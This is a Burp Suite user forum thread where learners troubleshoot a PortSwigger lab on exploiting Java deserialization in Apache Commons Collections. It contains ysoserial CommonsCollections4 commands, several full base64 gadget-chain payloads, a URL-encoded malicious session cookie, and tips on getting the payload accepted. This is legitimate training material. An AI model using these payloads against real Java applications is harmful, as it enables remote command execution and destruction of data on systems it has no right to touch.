The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Lab - Exploiting Java deserialization with Apache Commons

Mauro | Last updated: Jul 24, 2020 03:20PM UTC

Hi! I'm trying to solve this lab (Exploiting Java deserialization with Apache Commons) but i can't. First, i tried with ysoserial (like in the description of the lab is told) but when i send the request i get a 200 Ok response but whith this inside: java.io.StreamCorruptedException: invalid handle value: 00400053 After that, i tried with de serialized object that appears in the solution but i get the same error. Has anyone solved this lab? Thanks!

Uthman, PortSwigger Agent | Last updated: Jul 27, 2020 09:51AM UTC

If you believe there could be an issue with the lab, please send us screenshots to support@portswigger.net Are you using the official solution? What steps have you completed so far?

ShiftingPoint | Last updated: Jul 30, 2020 04:05AM UTC

Hello, I have the same issue with this lab. I even tried all collection types in ysoserial. No one gives the base64 showed in your solution. I can't attach screens, but I can show the outputs. So for java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 -w 0 the output is rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQu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AAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+AB8AAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAOgAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAXZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHB3BAAAAANzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXEAfgApeA== Even when I tried using openssl base64, there was the same issue: java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' > test openssl base64 -in test rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRd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AAEABAAB ABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAA AgANAAAABgABAAAAOgAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoA AQACABYAEAAJcHQABFB3bnJwdwEAeHVyABJbTGphdmEubGFuZy5DbGFzczurFteu y81amQIAAHhwAAAAAXZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAA AAAAAAAAAAAAeHB3BAAAAANzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIA AUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXEA fgApeA==

Uthman, PortSwigger Agent | Last updated: Jul 30, 2020 11:24AM UTC

What is the output of the below? java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64

ShiftingPoint | Last updated: Jul 31, 2020 02:08PM UTC

I've showed below, the output is: rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBh cmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9u cy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjM AgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMv Y29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0 aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29y Zy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVy MMeX7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AA+nAAMBTLgALxIxtgA1 V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+AB8AAAHUyv66vgAA ADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVl BXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2Fs VmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3Bh eWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgAL BwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2Jq ZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRn ZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3 AAGxAAAAAgANAAAABgABAAAAOgAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQAC ABYAEAAJcHQABFB3bnJwdwEAeHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAA AXZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHB3BAAAAANzcgAR amF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKG rJUdC5TgiwIAAHhwAAAAAXEAfgApeA==

Uthman, PortSwigger Agent | Last updated: Jul 31, 2020 02:40PM UTC

Can you share the output of the steps below? 1. Clone the repository from GitHub: https://github.com/frohoff/ysoserial.git 2. Edit the pom.xml file source/target compatibility from 1.6 to 1.7 here: <!-- maximize compatibility --> <source>1.6</source> <target>1.6</target> 3. Run mvn clean package -DskipTests at your terminal/command prompt - you need to make sure that Maven is installed on your machine. This should create a new directory within the cloned one called 'target'. This will contain the actual JAR. 4. Download and install AdoptOpenJDK8. This is the only java version I could use to make it work. I used 11, 13, and 14 but ran into some issues. 5. Run the command ysoserial command from the target directory in the repo: java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64

ShiftingPoint | Last updated: Jul 31, 2020 10:46PM UTC

Done, the output is the same, lol: rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBh cmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9u cy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjM AgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMv Y29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0 aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29y Zy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVy MMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAuW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVj dGlvbnM0L1RyYW5zZm9ybWVyO3hwdXIALltMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25z NC5UcmFuc2Zvcm1lcjs5gTr7CNo/pQIAAHhwAAAAAnNyADxvcmcuYXBhY2hlLmNvbW1vbnMuY29s bGVjdGlvbnM0LmZ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s VmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3Bh eWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgAL BwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2Jq ZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRn ZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3 AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQAC ABYAEAAJcHQABFB3bnJwdwEAeHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAA AXZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHB3BAAAAANzcgAR amF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKG rJUdC5TgiwIAAHhwAAAAAXEAfgApeA==

Uthman, PortSwigger Agent | Last updated: Aug 03, 2020 09:27AM UTC

Can you please email us with further screenshots and information? I still cannot replicate your issue, unfortunately. You can reach us on support@portswigger.net

Jean | Last updated: Aug 09, 2020 09:36PM UTC

I have the same problem, I have already made the recommendations but I still cannot do the laboratory.

Uthman, PortSwigger Agent | Last updated: Aug 10, 2020 10:31AM UTC

Thanks for the feedback. Please send us an email so we can assist you.

ShiftingPoint | Last updated: Aug 11, 2020 02:37PM UTC

Ok, I'll send screenshots.

dj | Last updated: Aug 20, 2020 11:17PM UTC

I faced the same error message when the sent the request without URL encoding the base64 string(Lab solution does mention URL encode, but it mentions after asking you to replace the cookie - this could be the confusion!). Once you replace the cookie with URLencoded(base64 string), you should be good. URLEncoded string looks something like --------------------------------------- Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: session=%72%4f%30%41%42%58%4e%79%41%42%64%71%59%58%5a%68%4c%6e%56%30%61%57%77%75%55%48%4a%70%62%33%4a%70%64%48%6c%52%64%57%56%31%5a%5a%54%61%4d%4c%54%37%..blah blah ----------------------------------------

Grant | Last updated: Sep 11, 2020 11:13PM UTC

Hello, I wanted to make a comment on this. Just an FYI, the reason why some of you might be seeing a different base64 value than what is in the solution is because the one listed in the solution is actually incorrect. Can someone from the PortSwigger team look into this to prevent confusion for future users? You have the output for the command when run with 'whoami' rather than 'rm /home/carlos/morale.txt'. This is the reason why there is so much confusion on the results in this thread. Those who posted their base64 outputs actually had the correct ones and just need to perform one more action to claim victory over the lab. I will let you figure out what it is :) (the solution tells you anyway).

Uthman, PortSwigger Agent | Last updated: Sep 14, 2020 07:39AM UTC

Hi Grant, That is inaccurate, unfortunately. The output for 'whoami' would just be carlos. That would be a different base64 value. Our academy team has just double-checked this and everything appears to be good on our end. If you still think there could be a bug, please email us with further details.

Motasem | Last updated: Sep 30, 2020 08:23AM UTC

just you need to encode it as URL :)

martinez | Last updated: Mar 14, 2021 03:52PM UTC

I also had a trouble to solve the lab. I used the ysoserail from oficial repo but it was generating a different base64 string, using a docker container built from Dockerfile also didn't work. At the end I fired up Kali, downloaded stable jar from https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar and it finally worked.

Laura | Last updated: Jun 10, 2021 01:39PM UTC

For me it doesn't even work with url encoding. Also, my Base64 looks different even though I executed the same command.

Uthman, PortSwigger Agent | Last updated: Jun 10, 2021 01:58PM UTC

Hi Laura, What steps are you following? I have just completed the lab without any issues using the instructions in the solution (and the steps I described on 31/07/2020 to download the ysoserial JAR) Can you double-check the base64 value before you URL encode it? Or wait for the lab to reset any try again? Alternatively, please check out a video solution.

NWAWEL | Last updated: Jul 10, 2021 04:33PM UTC

@Uthman I was blocked on this lab, even with the provided solution but I managed to solve it. I think you could rephrase the solution so that learners would be aware to use Burpsuite Decoder and use the URL Encode option. I tried to use Cyberchef and another URLEncoding website to encode the Base64 payload but I got the error mentioned by others learners earlier.

Alexey | Last updated: Jan 15, 2022 12:21AM UTC

Burp Decoder will encode ALL characters in the URL, and therefore the result will be very large, and this will cause a new error: org.apache.commons.collections4.FunctorException: InstantiateTransformer: Constructor threw an exception I tried to encode only special characters like '+' and '=' and it worked.

Uthman, PortSwigger Agent | Last updated: Jan 17, 2022 09:38AM UTC

@NWAWEL @Alexey, The lab does not expect you to use the Burp Decoder tool. The solution mentions that the URL encoding should be done via the Repeater:
3. In Burp Repeater, replace your session cookie with the malicious one you just created. Select the entire cookie and then URL-encode it.

This would be achieved by right-clicking the cookie/string to be encoded > Convert selection > URL > URL encode key characters. I think the assumption is that you understand most modern web browsers URL encode key characters so this is not explicitly mentioned in the lab.

Let us know if this needs to be any clearer so that we can pass the feedback on to our Academy team. :)

Angkan | Last updated: May 16, 2022 06:11PM UTC

I agree with the solution provided by Uthman. I used the CommonCollections4 payload in base64 format, selected the cookie in repeater and used command+u shortcut to URL encode the key characters.

CavemanKT | Last updated: Jan 13, 2023 05:37AM UTC

The solution might be a bit different than yours, but it works. For me, I used ysoserial-0.0.6-SNAPSHOT-all.jar and OpenJDK8U-jdk_x64_linux_hotspot_8u352b08.tar.gz in Kali linux. Command: java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 remember to url encode them. Below helps solve the lab: rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb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AAAAAAAAAHhwdwQAAAADc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFxAH4AKXg=

Ismail | Last updated: May 04, 2024 09:43AM UTC

Can confirm the above solution from CavemanKT works. Run the below commands: curl -OL https://github.com/AdoptOpenJDK/openjdk8-upstream-binaries/releases/download/jdk8u342-b07/OpenJDK8U-jdk_x64_linux_8u342b07.tar.gz curl -OL https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar tar -xvzf OpenJDK8U-jdk_x64_linux_8u342b07.tar.gz # Generate serializaed data ~/openjdk-8u342-b07/bin/java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "rm /home/carlos/morale.txt" | base64 -w0

Collin | Last updated: May 11, 2024 04:25PM UTC

Slight modification to Ismail's answer as "https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar" did not work for me. # Step 1: Download java curl -OL https://github.com/AdoptOpenJDK/openjdk8-upstream-binaries/releases/download/jdk8u342-b07/OpenJDK8U-jdk_x64_linux_8u342b07.tar.gz # Step 2: Download ysoserial curl -OL https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar # Step 3: Unpack downloaded java tar -xvzf OpenJDK8U-jdk_x64_linux_8u342b07.tar.gz # Step 4: Generate the data! ~/openjdk-8u342-b07/bin/java -jar ysoserial-all.jar CommonsCollections4 "rm /home/carlos/morale.txt" | base64 -w0

Zeeshan | Last updated: May 17, 2024 05:58PM UTC

Are the commands in the lab guide and documentation for this lab upto date and tested? Please confirm.

Ben, PortSwigger Agent | Last updated: May 20, 2024 07:50AM UTC